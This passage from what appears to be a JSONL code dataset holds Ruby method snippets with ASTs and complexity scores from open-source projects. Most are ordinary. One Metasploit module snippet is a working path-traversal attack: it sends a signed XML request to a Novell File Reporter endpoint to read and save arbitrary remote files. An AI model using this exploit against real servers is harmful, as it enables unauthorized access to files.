⏳\"]}]},{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"binary\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"apk\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_options\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"values\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"distribution_key\"]},{\"type\":\"sym\",\"children\":[\"release_note\"]},{\"type\":\"sym\",\"children\":[\"disable_notify\"]},{\"type\":\"sym\",\"children\":[\"distribution_name\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"missing `ipa` and `apk`. deploygate action needs least one.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"test?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload_build\",{\"type\":\"lvar\",\"children\":[\"api_token\"]},{\"type\":\"lvar\",\"children\":[\"user_name\"]},{\"type\":\"lvar\",\"children\":[\"binary\"]},{\"type\":\"lvar\",\"children\":[\"upload_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DeployGate URL: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DEPLOYGATE_URL\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Build successfully uploaded to DeployGate as revision #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DEPLOYGATE_REVISION\"]}]}]},{\"type\":\"str\",\"children\":[\"!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Error when trying to upload app to DeployGate\"]}]}]}]}]}","id":"c536af18-1a18-4862-9f05-12ba50ec83ce"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/time_chunks.rb","start_line":5,"raw_source":"def initialize(start_at:, end_at:)\n      @start_at = start_at\n      @end_at = end_at\n      @time_chunks = []\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"start_at\"]},{\"type\":\"kwarg\",\"children\":[\"end_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@start_at\",{\"type\":\"lvar\",\"children\":[\"start_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_at\",{\"type\":\"lvar\",\"children\":[\"end_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@time_chunks\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"cff1e0a6-4407-490c-94b3-20f5ddcf5a40"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":737,"raw_source":"def run_kamal\n        return if options[:skip_kamal] || !bundle_install?\n\n        bundle_command \"binstubs kamal\"\n        bundle_command \"exec kamal init\"\n\n        template \"kamal-secrets.tt\", \".kamal/secrets\", force: true\n        template \"config/deploy.yml\", force: true\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_kamal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_kamal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundle_install?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"bundle_command\",{\"type\":\"str\",\"children\":[\"binstubs kamal\"]}]},{\"type\":\"send\",\"children\":[null,\"bundle_command\",{\"type\":\"str\",\"children\":[\"exec kamal init\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"kamal-secrets.tt\"]},{\"type\":\"str\",\"children\":[\".kamal/secrets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"config/deploy.yml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"ccd8a096-6f78-47e1-aa24-04f25a091db9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/edit.rb","start_line":37,"raw_source":"def initialize(meeting)\n      super(meeting.project)\n      self.meeting = meeting\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"meeting=\",{\"type\":\"lvar\",\"children\":[\"meeting\"]}]}]}]}","id":"9d4e4c42-5fe6-407c-90c3-9c53c6b38553"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/global_methods.rb","start_line":3,"raw_source":"def is_numeric?(n)\n      Float(n)\n    rescue\n      false\n    else\n      true\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"is_numeric?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"false\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"bd964b4a-81c6-4c93-b7cf-63dd4c742041"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/packages/finder_helper.rb","start_line":11,"raw_source":"def packages_for_project(project)\n      packages_class.for_projects(project).installable\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_for_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packages_class\"]},\"for_projects\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"installable\"]}]}","id":"54e7d15f-35d3-477b-b0fb-53e725219874"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit_driver.rb","start_line":31,"raw_source":"def target_idx=(target_idx)\n    if (target_idx)\n      # Make sure the target index is valid\n      if (target_idx >= exploit.targets.length)\n        raise Rex::ArgumentError, \"Invalid target index.\", caller\n      end\n    end\n\n     # Set the active target\n    @target_idx = target_idx\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"target_idx=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_idx\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_idx\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit\"]},\"targets\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Invalid target index.\"]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]},null]},null]},{\"type\":\"ivasgn\",\"children\":[\"@target_idx\",{\"type\":\"lvar\",\"children\":[\"target_idx\"]}]}]}]}","id":"5c14e035-9a1e-41f4-aacd-fd88254319bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20220118065658_add_constraints_to_user_stat.rb","start_line":21,"raw_source":"def down\n    execute \"ALTER TABLE user_stats DROP CONSTRAINT topic_count_positive\"\n    execute \"ALTER TABLE user_stats DROP CONSTRAINT post_count_positive\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE user_stats DROP CONSTRAINT topic_count_positive\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE user_stats DROP CONSTRAINT post_count_positive\"]}]}]}]}","id":"1ed9e322-b2a8-4b14-89e1-31c2bc2dd68a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb","start_line":42,"raw_source":"def run_host(ip)\n    traversal = \"..\\\\\" * datastore['DEPTH']\n    record = \"<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>#{traversal}#{datastore['RFILE']}</FILE></RECORD>\"\n    md5 = Rex::Text.md5(\"SRS\" + record + \"SERVER\").upcase\n    message = md5 + record\n\n    print_status(\"Retrieving the file contents\")\n\n    res = send_request_cgi(\n      {\n        'uri' => '/FSF/CMD',\n        'version' => '1.1',\n        'method' => 'POST',\n        'ctype' => \"text/xml\",\n        'data' => message\n      }\n    )\n\n    if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\\/VERSION><STATUS>0<\\/STATUS><CFILE><\\!\\[CDATA\\[(.*)\\]\\]><\\/CFILE><\\/RESULT>/m\n      loot = $1\n      f = ::File.basename(datastore['RFILE'])\n      path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])\n      print_good(\"#{datastore['RFILE']} saved in #{path}\")\n    else\n      print_error(\"Failed to retrieve the file contents\")\n    end\n  end","complexity_score":44.95,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"..\\\\\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]},{\"type\":\"str\",\"children\":[\"</FILE></RECORD>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SRS\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"SERVER\"]}]}]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieving the file contents\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/FSF/CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><\\\\!\\\\[CDATA\\\\[(.*)\\\\]\\\\]></CFILE></RESULT>\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"novell.filereporter.file\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"lvar\",\"children\":[\"loot\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]},{\"type\":\"str\",\"children\":[\" saved in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to retrieve the file contents\"]}]}]}]}]}","id":"b72e4ea0-d946-47d1-bce8-0110e1a52074"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/legacy_xcresult.rb","start_line":93,"raw_source":"def all_tests\n        return tests.map(&:all_subtests).flatten\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_tests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tests\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_subtests\"]}]}]},\"flatten\"]}]}]}","id":"00d535c0-afc1-48ac-8cab-50b2e177320c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/open_project_api.rb","start_line":50,"raw_source":"def namespace(space = nil, options = {}, &)\n    orig_namespace(space, options) do\n      instance_eval(&)\n      apply_patches(space)\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"space\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"orig_namespace\",{\"type\":\"lvar\",\"children\":[\"space\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"apply_patches\",{\"type\":\"lvar\",\"children\":[\"space\"]}]}]}]}]}","id":"9c195ed1-229e-46f5-82ac-d111dface581"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/diff_viewer/base.rb","start_line":57,"raw_source":"def collapsed?\n      return @collapsed if defined?(@collapsed)\n      # diff_file.collapsed? returns false when the diff is part of a collection with only one diff\n      # and it was auto-expanded by Gitlab::Git::DiffCollection's expand_diff? check\n      return @collapsed = true if diff_file.collapsed?\n\n      @collapsed = !diff_file.expanded? && collapse_limit && diff_file.raw_size > collapse_limit\n    end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"collapsed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collapsed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collapsed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_file\"]},\"collapsed?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collapsed\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@collapsed\",{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_file\"]},\"expanded?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"collapse_limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_file\"]},\"raw_size\"]},\">\",{\"type\":\"send\",\"children\":[null,\"collapse_limit\"]}]}]}]}]}]}","id":"f3b76b83-473f-42b3-8e83-86bf9b03048d"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/user_policy.rb","start_line":91,"raw_source":"def elevated_user?\n    user_any_admin? || user_super_moderator?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"elevated_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_any_admin?\"]},{\"type\":\"send\",\"children\":[null,\"user_super_moderator?\"]}]}]}","id":"e8d6598f-dcf2-4ff6-a42c-b6b1cb0283ff"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/user/user_ldap_methods_spec.rb","start_line":104,"raw_source":"def create_super_admin_group\n    FactoryBot.create(\n      :miq_group,\n      :description   => \"EvmGroup-super_administrator\",\n      :miq_user_role => FactoryBot.create(:miq_user_role, :role => \"super_administrator\")\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_super_admin_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"miq_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"EvmGroup-super_administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_user_role\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"miq_user_role\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"super_administrator\"]}]}]}]}]}]}]}]}","id":"71ce2f3d-904b-4b0a-85b3-5e9923152483"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/kerberoast.rb","start_line":218,"raw_source":"def offered_etypes\n    Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['LDAP::KrbOfferedEncryptionTypes'])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"offered_etypes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"AuthOption\"]},\"as_default_offered_etypes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAP::KrbOfferedEncryptionTypes\"]}]}]}]}","id":"ab5e339f-f06e-4776-83d5-653b63c01e16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/bitbucket_import/stage/import_issues_notes_worker.rb","start_line":12,"raw_source":"def import(project)\n          waiter = importer_class.new(project).execute\n\n          AdvanceStageWorker.perform_async(\n            project.id,\n            { waiter.key => waiter.jobs_remaining },\n            :lfs_objects\n          )\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"waiter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importer_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdvanceStageWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"jobs_remaining\"]}]}]},{\"type\":\"sym\",\"children\":[\"lfs_objects\"]}]}]}]}","id":"f0a7f90b-2818-4c12-8c5d-180cd3250796"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian.rb","start_line":329,"raw_source":"def can_approve?(target)\n    is_staff? && target && target.active? && !target.approved?\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_approve?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_staff?\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"active?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"approved?\"]},\"!\"]}]}]}","id":"a68e9b1c-7dc1-4412-81d2-beb51cce32ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/pipeline_worker.rb","start_line":284,"raw_source":"def lease_key\n      \"gitlab:bulk_imports:pipeline_worker:#{pipeline_tracker.id}\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab:bulk_imports:pipeline_worker:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_tracker\"]},\"id\"]}]}]}]}","id":"159db463-be53-4708-a274-264b266ad3dc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/key_generator_test.rb","start_line":69,"raw_source":"def setup\n      @secret    = SecureRandom.hex(64)\n      @generator = ActiveSupport::KeyGenerator.new(@secret, iterations: 2)\n      @caching_generator = ActiveSupport::CachingKeyGenerator.new(@generator)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@secret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[64]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@generator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"KeyGenerator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iterations\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@caching_generator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"CachingKeyGenerator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@generator\"]}]}]}]}]}","id":"f79868cf-5e69-44ac-b7b1-23ffc4c6f3bb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/account_deletion_service.rb","start_line":19,"raw_source":"def send_compliance_notification\n    AdministratorNotifications::AccountComplianceMailer.with(\n      account: account,\n      soft_deleted_users: soft_deleted_users\n    ).account_deleted(account).deliver_later\n  